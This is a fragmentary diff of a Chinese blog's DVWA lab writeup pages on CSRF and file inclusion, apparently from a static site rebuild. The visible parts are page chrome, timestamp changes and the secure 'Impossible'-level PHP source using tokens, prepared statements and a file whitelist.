fa-fw"></i> 2020-04-24</div><div class="title">DVWA Writeup Part VI (SQL Injection)</div></div></a></div></div></div><hr class="custom-hr"/><div id="post-comment"><div class="comment-head"><div class="comment-headline"><i class="fas fa-comments fa-fw"></i><span> 评论</span></div></div><div class="comment-wrap"><div><div id="waline-wrap"></div></div></div></div></div><div class="aside-content" id="aside-content"><div class="card-widget card-info"><div class="is-center"><div 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<br/>评论需要审核，请不要重复提交~</div></div><div class="sticky_layout"><div class="card-widget" id="card-toc"><div class="item-headline"><i class="fas fa-stream"></i><span>目录</span><span class="toc-percentage"></span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#Command-Injection"><span class="toc-text">Command Injection</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#Low"><span class="toc-text">Low</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90"><span class="toc-text">源码解析</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8"><span class="toc-text">漏洞利用</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8F%82%E9%98%85"><span class="toc-text">参阅</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Medium"><span class="toc-text">Medium</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-1"><span class="toc-text">源码解析</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8-1"><span class="toc-text">漏洞利用</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8F%82%E9%98%85-1"><span class="toc-text">参阅</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#High"><span class="toc-text">High</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-2"><span class="toc-text">源码解析</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8-2"><span class="toc-text">漏洞利用</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8F%82%E9%98%85-2"><span class="toc-text">参阅</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Impossioble"><span class="toc-text">Impossioble</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-3"><span class="toc-text">源码解析</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8F%82%E9%98%85-3"><span class="toc-text">参阅</span></a></li></ol></li></ol></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/2024/02/24/Other/NVIDIA%20Omniverse%20Audio%20%E7%B3%BB%E5%88%97%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8/" title="NVIDIA Omniverse Audio 系列工具使用"><img src="https://www.nvidia.cn/content/dam/en-zz/Solutions/about-nvidia/logo-and-brand/02-nvidia-logo-color-blk-500x200-4c25-p@2x.png" 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@@ -199,7 +199,7 @@ <h3 id="漏洞利用-2"><a href="#漏洞利用-2" class="headerlink" title="漏
 <img src="https://media.githubusercontent.com/media/jckling/Assets/master/DVWA/3/1.png" width="90%">
 
 <h2 id="Impossioble"><a href="#Impossioble" class="headerlink" title="Impossioble"></a>Impossioble</h2><h3 id="源码解析-3"><a href="#源码解析-3" class="headerlink" title="源码解析"></a>源码解析</h3><p>首先需要输入原始密码，然后输入两次修改的密码；提交数据后先对 token 进行检查,然后使用 <code>stripslashes</code> 对输入的数据进行反转义，检查密码和当前用户匹配后，再检查两次输入的修改密码是否相同，若相同则修改密码，其中数据库的查询和修改都使用预处理的 SQL 语句。</p>
-<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_GET</span>[ <span class="string">&#x27;Change&#x27;</span> ] ) ) &#123;</span><br><span class="line">    <span class="comment">// Check Anti-CSRF token</span></span><br><span class="line">    <span class="title function_ invoke__">checkToken</span>( <span class="variable">$_REQUEST</span>[ <span class="string">&#x27;user_token&#x27;</span> ], <span class="variable">$_SESSION</span>[ <span class="string">&#x27;session_token&#x27;</span> ], <span class="string">&#x27;index.php&#x27;</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Get input</span></span><br><span class="line">    <span class="variable">$pass_curr</span> = <span class="variable">$_GET</span>[ <span class="string">&#x27;password_current&#x27;</span> ];</span><br><span class="line">    <span class="variable">$pass_new</span>  = <span class="variable">$_GET</span>[ <span class="string">&#x27;password_new&#x27;</span> ];</span><br><span class="line">    <span class="variable">$pass_conf</span> = <span class="variable">$_GET</span>[ <span class="string">&#x27;password_conf&#x27;</span> ];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Sanitise current password input</span></span><br><span class="line">    <span class="variable">$pass_curr</span> = <span class="title function_ invoke__">stripslashes</span>( <span class="variable">$pass_curr</span> );</span><br><span class="line">    <span class="variable">$pass_curr</span> = ((<span class="keyword">isset</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]) &amp;&amp; <span class="title function_ invoke__">is_object</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>])) ? <span class="title function_ invoke__">mysqli_real_escape_string</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>],  <span class="variable">$pass_curr</span> ) : ((<span class="title function_ invoke__">trigger_error</span>(<span class="string">&quot;[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.&quot;</span>, E_USER_ERROR)) ? <span class="string">&quot;&quot;</span> : <span class="string">&quot;&quot;</span>));</span><br><span class="line">    <span class="variable">$pass_curr</span> = <span class="title function_ invoke__">md5</span>( <span class="variable">$pass_curr</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Check that the current password is correct</span></span><br><span class="line">    <span class="variable">$data</span> = <span class="variable">$db</span>-&gt;<span class="title function_ invoke__">prepare</span>( <span class="string">&#x27;SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;&#x27;</span> );</span><br><span class="line">    <span class="variable">$data</span>-&gt;<span class="title function_ invoke__">bindParam</span>( <span class="string">&#x27;:user&#x27;</span>, <span class="title function_ invoke__">dvwaCurrentUser</span>(), PDO::<span class="variable constant_">PARAM_STR</span> );</span><br><span class="line">    <span class="variable">$data</span>-&gt;<span class="title function_ invoke__">bindParam</span>( <span class="string">&#x27;:password&#x27;</span>, <span class="variable">$pass_curr</span>, PDO::<span class="variable constant_">PARAM_STR</span> );</span><br><span class="line">    <span class="variable">$data</span>-&gt;<span class="title function_ invoke__">execute</span>();</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Do both new passwords match and does the current password match the user?</span></span><br><span class="line">    <span class="keyword">if</span>( ( <span class="variable">$pass_new</span> == <span class="variable">$pass_conf</span> ) &amp;&amp; ( <span class="variable">$data</span>-&gt;<span class="title function_ invoke__">rowCount</span>() == <span class="number">1</span> ) ) &#123;</span><br><span class="line">        <span class="comment">// It does!</span></span><br><span class="line">        <span class="variable">$pass_new</span> = <span class="title function_ invoke__">stripslashes</span>( <span class="variable">$pass_new</span> );</span><br><span class="line">        <span class="variable">$pass_new</span> = ((<span class="keyword">isset</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]) &amp;&amp; <span class="title function_ invoke__">is_object</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>])) ? <span class="title function_ invoke__">mysqli_real_escape_string</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>],  <span class="variable">$pass_new</span> ) : ((<span class="title function_ invoke__">trigger_error</span>(<span class="string">&quot;[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.&quot;</span>, E_USER_ERROR)) ? <span class="string">&quot;&quot;</span> : <span class="string">&quot;&quot;</span>));</span><br><span class="line">        <span class="variable">$pass_new</span> = <span class="title function_ invoke__">md5</span>( <span class="variable">$pass_new</span> );</span><br><span class="line"></span><br><span class="line">        <span class="comment">// Update database with new password</span></span><br><span class="line">        <span class="variable">$data</span> = <span class="variable">$db</span>-&gt;<span class="title function_ invoke__">prepare</span>( <span class="string">&#x27;UPDATE users SET password = (:password) WHERE user = (:user);&#x27;</span> );</span><br><span class="line">        <span class="variable">$data</span>-&gt;<span class="title function_ invoke__">bindParam</span>( <span class="string">&#x27;:password&#x27;</span>, <span class="variable">$pass_new</span>, PDO::<span class="variable constant_">PARAM_STR</span> );</span><br><span class="line">        <span class="variable">$data</span>-&gt;<span class="title function_ invoke__">bindParam</span>( <span class="string">&#x27;:user&#x27;</span>, <span class="title function_ invoke__">dvwaCurrentUser</span>(), PDO::<span class="variable constant_">PARAM_STR</span> );</span><br><span class="line">        <span class="variable">$data</span>-&gt;<span class="title function_ invoke__">execute</span>();</span><br><span class="line"></span><br><span class="line">        <span class="comment">// Feedback for the user</span></span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&quot;&lt;pre&gt;Password Changed.&lt;/pre&gt;&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="comment">// Issue with passwords matching</span></span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&quot;&lt;pre&gt;Passwords did not match or current password incorrect.&lt;/pre&gt;&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Generate Anti-CSRF token</span></span><br><span class="line"><span class="title function_ invoke__">generateSessionToken</span>();</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span> </span><br></pre></td></tr></table></figure></article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta"><i class="fas fa-circle-user fa-fw"></i>文章作者: </span><span class="post-copyright-info"><a target="_blank" rel="noopener" href="https://github.com/jckling">Jckling</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta"><i class="fas fa-square-arrow-up-right fa-fw"></i>文章链接: </span><span class="post-copyright-info"><a href="https://jckling.github.io/2020/04/23/Security/DVWA/3.%20CSRF/">https://jckling.github.io/2020/04/23/Security/DVWA/3. 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toc-level-4"><a class="toc-link" href="#%E6%9E%84%E9%80%A0%E8%A1%A8%E5%8D%95"><span class="toc-text">构造表单</span></a></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8F%82%E9%98%85"><span class="toc-text">参阅</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Medium"><span class="toc-text">Medium</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-1"><span class="toc-text">源码解析</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8-1"><span class="toc-text">漏洞利用</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8F%82%E9%98%85-1"><span class="toc-text">参阅</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#High"><span class="toc-text">High</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-2"><span class="toc-text">源码解析</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8-2"><span class="toc-text">漏洞利用</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Impossioble"><span class="toc-text">Impossioble</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-3"><span class="toc-text">源码解析</span></a></li></ol></li></ol></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/2024/02/24/Other/NVIDIA%20Omniverse%20Audio%20%E7%B3%BB%E5%88%97%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8/" title="NVIDIA Omniverse Audio 系列工具使用"><img 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+<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_GET</span>[ <span class="string">&#x27;Change&#x27;</span> ] ) ) &#123;</span><br><span class="line">    <span class="comment">// Check Anti-CSRF token</span></span><br><span class="line">    <span class="title function_ invoke__">checkToken</span>( <span class="variable">$_REQUEST</span>[ <span class="string">&#x27;user_token&#x27;</span> ], <span class="variable">$_SESSION</span>[ <span class="string">&#x27;session_token&#x27;</span> ], <span class="string">&#x27;index.php&#x27;</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Get input</span></span><br><span class="line">    <span class="variable">$pass_curr</span> = <span class="variable">$_GET</span>[ <span class="string">&#x27;password_current&#x27;</span> ];</span><br><span class="line">    <span class="variable">$pass_new</span>  = <span class="variable">$_GET</span>[ <span class="string">&#x27;password_new&#x27;</span> ];</span><br><span class="line">    <span class="variable">$pass_conf</span> = <span class="variable">$_GET</span>[ <span class="string">&#x27;password_conf&#x27;</span> ];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Sanitise current password input</span></span><br><span class="line">    <span class="variable">$pass_curr</span> = <span class="title function_ invoke__">stripslashes</span>( <span class="variable">$pass_curr</span> );</span><br><span class="line">    <span class="variable">$pass_curr</span> = ((<span class="keyword">isset</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]) &amp;&amp; <span class="title function_ invoke__">is_object</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>])) ? <span class="title function_ invoke__">mysqli_real_escape_string</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>],  <span class="variable">$pass_curr</span> ) : ((<span class="title function_ invoke__">trigger_error</span>(<span class="string">&quot;[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.&quot;</span>, E_USER_ERROR)) ? <span class="string">&quot;&quot;</span> : <span class="string">&quot;&quot;</span>));</span><br><span class="line">    <span class="variable">$pass_curr</span> = <span class="title function_ invoke__">md5</span>( <span class="variable">$pass_curr</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Check that the current password is correct</span></span><br><span class="line">    <span class="variable">$data</span> = <span class="variable">$db</span>-&gt;<span class="title function_ invoke__">prepare</span>( <span class="string">&#x27;SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;&#x27;</span> );</span><br><span class="line">    <span class="variable">$data</span>-&gt;<span class="title function_ invoke__">bindParam</span>( <span class="string">&#x27;:user&#x27;</span>, <span class="title function_ invoke__">dvwaCurrentUser</span>(), PDO::<span class="variable constant_">PARAM_STR</span> );</span><br><span class="line">    <span class="variable">$data</span>-&gt;<span class="title function_ invoke__">bindParam</span>( <span class="string">&#x27;:password&#x27;</span>, <span class="variable">$pass_curr</span>, PDO::<span class="variable constant_">PARAM_STR</span> );</span><br><span class="line">    <span class="variable">$data</span>-&gt;<span class="title function_ invoke__">execute</span>();</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Do both new passwords match and does the current password match the user?</span></span><br><span class="line">    <span class="keyword">if</span>( ( <span class="variable">$pass_new</span> == <span class="variable">$pass_conf</span> ) &amp;&amp; ( <span class="variable">$data</span>-&gt;<span class="title function_ invoke__">rowCount</span>() == <span class="number">1</span> ) ) &#123;</span><br><span class="line">        <span class="comment">// It does!</span></span><br><span class="line">        <span class="variable">$pass_new</span> = <span class="title function_ invoke__">stripslashes</span>( <span class="variable">$pass_new</span> );</span><br><span class="line">        <span class="variable">$pass_new</span> = ((<span class="keyword">isset</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]) &amp;&amp; <span class="title function_ invoke__">is_object</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>])) ? <span class="title function_ invoke__">mysqli_real_escape_string</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>],  <span class="variable">$pass_new</span> ) : ((<span class="title function_ invoke__">trigger_error</span>(<span class="string">&quot;[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.&quot;</span>, E_USER_ERROR)) ? <span class="string">&quot;&quot;</span> : <span class="string">&quot;&quot;</span>));</span><br><span class="line">        <span class="variable">$pass_new</span> = <span class="title function_ invoke__">md5</span>( <span class="variable">$pass_new</span> );</span><br><span class="line"></span><br><span class="line">        <span class="comment">// Update database with new password</span></span><br><span class="line">        <span class="variable">$data</span> = <span class="variable">$db</span>-&gt;<span class="title function_ invoke__">prepare</span>( <span class="string">&#x27;UPDATE users SET password = (:password) WHERE user = (:user);&#x27;</span> );</span><br><span class="line">        <span class="variable">$data</span>-&gt;<span class="title function_ invoke__">bindParam</span>( <span class="string">&#x27;:password&#x27;</span>, <span class="variable">$pass_new</span>, PDO::<span class="variable constant_">PARAM_STR</span> );</span><br><span class="line">        <span class="variable">$data</span>-&gt;<span class="title function_ invoke__">bindParam</span>( <span class="string">&#x27;:user&#x27;</span>, <span class="title function_ invoke__">dvwaCurrentUser</span>(), PDO::<span class="variable constant_">PARAM_STR</span> );</span><br><span class="line">        <span class="variable">$data</span>-&gt;<span class="title function_ invoke__">execute</span>();</span><br><span class="line"></span><br><span class="line">        <span class="comment">// Feedback for the user</span></span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&quot;&lt;pre&gt;Password Changed.&lt;/pre&gt;&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="comment">// Issue with passwords matching</span></span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&quot;&lt;pre&gt;Passwords did not match or current password incorrect.&lt;/pre&gt;&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Generate Anti-CSRF token</span></span><br><span class="line"><span class="title function_ invoke__">generateSessionToken</span>();</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span> </span><br></pre></td></tr></table></figure></article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta"><i class="fas fa-circle-user fa-fw"></i>文章作者: </span><span class="post-copyright-info"><a target="_blank" rel="noopener" href="https://github.com/jckling">Jckling</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta"><i class="fas fa-square-arrow-up-right fa-fw"></i>文章链接: </span><span class="post-copyright-info"><a href="https://jckling.github.io/2020/04/23/Security/DVWA/3.%20CSRF/">https://jckling.github.io/2020/04/23/Security/DVWA/3. CSRF/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta"><i class="fas fa-circle-exclamation fa-fw"></i>版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a href="https://jckling.github.io" target="_blank">Jckling's Blog</a>！</span></div></div><div class="tag_share"><div class="post-meta__tag-list"><a class="post-meta__tags" href="/tags/MySQL/">MySQL</a><a class="post-meta__tags" href="/tags/Web/">Web</a><a class="post-meta__tags" href="/tags/DVWA/">DVWA</a><a class="post-meta__tags" href="/tags/PHP/">PHP</a></div><div class="post_share"><div class="addtoany"><div class="a2a_kit a2a_kit_size_32 a2a_default_style"><a class="a2a_button_facebook"></a><a class="a2a_button_twitter"></a><a class="a2a_button_wechat"></a><a class="a2a_button_sina_weibo"></a><a class="a2a_button_facebook_messenger"></a><a class="a2a_button_email"></a><a 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class="cover" src="https://i.loli.net/2021/06/14/aAsUJkFMvVpl4ro.png" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2020-04-24</div><div class="title">DVWA Writeup Part V (File Upload)</div></div></a></div><div><a href="/2020/04/24/Security/DVWA/6.%20SQLi/" title="DVWA Writeup Part VI (SQL Injection)"><img class="cover" src="https://i.loli.net/2021/06/14/aAsUJkFMvVpl4ro.png" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2020-04-24</div><div class="title">DVWA Writeup Part VI (SQL Injection)</div></div></a></div></div></div><hr class="custom-hr"/><div id="post-comment"><div class="comment-head"><div class="comment-headline"><i class="fas fa-comments fa-fw"></i><span> 评论</span></div></div><div class="comment-wrap"><div><div id="waline-wrap"></div></div></div></div></div><div class="aside-content" id="aside-content"><div class="card-widget card-info"><div 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href="#%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-2"><span class="toc-text">源码解析</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8-2"><span class="toc-text">漏洞利用</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Impossioble"><span class="toc-text">Impossioble</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-3"><span class="toc-text">源码解析</span></a></li></ol></li></ol></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/2024/02/24/Other/NVIDIA%20Omniverse%20Audio%20%E7%B3%BB%E5%88%97%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8/" title="NVIDIA Omniverse Audio 系列工具使用"><img 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diff --git a/2020/04/23/Security/DVWA/4. File Inclusion/index.html b/2020/04/23/Security/DVWA/4. File Inclusion/index.html
index ee0fafbba..ff9f46e05 100644
--- a/2020/04/23/Security/DVWA/4. File Inclusion/index.html	
+++ b/2020/04/23/Security/DVWA/4. File Inclusion/index.html	
@@ -7,7 +7,7 @@
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 <meta property="article:published_time" content="2020-04-23T12:19:04.000Z">
-<meta property="article:modified_time" content="2024-05-21T10:02:48.264Z">
+<meta property="article:modified_time" content="2024-05-22T14:10:41.009Z">
 <meta property="article:author" content="Jckling">
 <meta property="article:tag" content="MySQL">
 <meta property="article:tag" content="Web">
@@ -63,7 +63,7 @@
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-  postUpdate: '2024-05-21 18:02:48'
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@@ -208,7 +208,7 @@ <h3 id="参阅-1"><a href="#参阅-1" class="headerlink" title="参阅"></a>参
 <li><a target="_blank" rel="noopener" href="https://en.wikipedia.org/wiki/File_URI_scheme">file URI scheme</a></li>
 </ul>
 <h2 id="Impossioble"><a href="#Impossioble" class="headerlink" title="Impossioble"></a>Impossioble</h2><h3 id="源码解析-3"><a href="#源码解析-3" class="headerlink" title="源码解析"></a>源码解析</h3><p>不能包含 <code>include.php</code>，且直接限制了只能包含 <code>file1.php</code> 、 <code>file2.php</code> 、 <code>file3.php</code> 。</p>
-<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// The page we wish to display</span></span><br><span class="line"><span class="variable">$file</span> = <span class="variable">$_GET</span>[ <span class="string">&#x27;page&#x27;</span> ];</span><br><span class="line"></span><br><span class="line"><span class="comment">// Only allow include.php or file&#123;1..3&#125;.php</span></span><br><span class="line"><span class="keyword">if</span>( <span class="variable">$file</span> != <span class="string">&quot;include.php&quot;</span> &amp;&amp; <span class="variable">$file</span> != <span class="string">&quot;file1.php&quot;</span> &amp;&amp; <span class="variable">$file</span> != <span class="string">&quot;file2.php&quot;</span> &amp;&amp; <span class="variable">$file</span> != <span class="string">&quot;file3.php&quot;</span> ) &#123;</span><br><span class="line">    <span class="comment">// This isn&#x27;t the page we want!</span></span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;ERROR: File not found!&quot;</span>;</span><br><span class="line">    <span class="keyword">exit</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure></article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta"><i class="fas fa-circle-user fa-fw"></i>文章作者: </span><span class="post-copyright-info"><a target="_blank" rel="noopener" href="https://github.com/jckling">Jckling</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta"><i class="fas fa-square-arrow-up-right fa-fw"></i>文章链接: </span><span class="post-copyright-info"><a href="https://jckling.github.io/2020/04/23/Security/DVWA/4.%20File%20Inclusion/">https://jckling.github.io/2020/04/23/Security/DVWA/4. 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class="announcement_content">欢迎访问本站 🥳 <br/>评论需要审核，请不要重复提交~</div></div><div class="sticky_layout"><div class="card-widget" id="card-toc"><div class="item-headline"><i class="fas fa-stream"></i><span>目录</span><span class="toc-percentage"></span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#File-Inclusion"><span class="toc-text">File Inclusion</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#Low"><span class="toc-text">Low</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90"><span class="toc-text">源码解析</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8"><span class="toc-text">漏洞利用</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%EF%BC%88Local-File-Inclusion-LFI%EF%BC%89"><span class="toc-text">本地文件包含（Local File Inclusion, LFI）</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#%E8%BF%9C%E7%A8%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%EF%BC%88Remote-File-Inclusion-RFI%EF%BC%89"><span class="toc-text">远程文件包含（Remote File Inclusion, RFI）</span></a></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8F%82%E9%98%85"><span class="toc-text">参阅</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Medium"><span class="toc-text">Medium</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-1"><span class="toc-text">源码解析</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8-1"><span class="toc-text">漏洞利用</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" 